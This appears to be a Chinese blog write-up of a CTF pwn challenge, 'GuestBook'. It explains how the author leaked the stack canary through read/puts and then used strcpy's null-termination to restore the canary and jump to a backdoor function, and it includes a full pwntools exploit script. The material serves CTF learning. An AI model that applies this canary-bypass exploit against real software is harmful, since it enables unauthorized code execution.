GuestBooK--pwn

GuestBooK–pwn

  • 先利用read与puts,填充掉canary的最后一位,把canary打印出来,用这种不一样的字符方便接收和检验

    payload = b"A"*(0x20-0x8-1)+b"B"+b'C'
    

在这里插入图片描述

然后需要利用strcpy输入两次,第一次把最后一位不对的canary以及后门函数地址输入进去,第二次把canary最后一位改为‘00’

当时没做出来,忘记了这种基础的泄露canary的方式了 》我真该死《

有一些要注意的地方:

  • 填充不一样的字母来方便接收的停顿
  • strcpy遇到00会截断,所以不能有00,第一次注意注入的时候不要被截断掉
  • 第二次利用strcpy会在最后加\x00的特性,来恢复canary的正确值
  • 第二次不是在栈顶输入的,要加0x20
  • 循环中的这个输入没有限制长度(当时做的时候脑抽没想到)
  • 注意栈对齐

exp:

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./GuestBook')
#p=remote('',)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()

def debug():
    gdb.attach(p)
    pause(1)
backdoor_addr = 0x04012C0
payload = b"A"*(0x20-0x8-1)+b"B"+b'C'
#gdb.attach(p)
sd(payload)
ru('B')

canary = u64(rc(8))
print(hex(canary))
sl(b'2')

payload = b'A'*(0xa0-0x8)+p64(canary)*2+p64(backdoor_addr)
sl(payload)

payload = b"A"*(0xa0-0x20-8)
debug()
sl(payload)

p.interactive()                
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值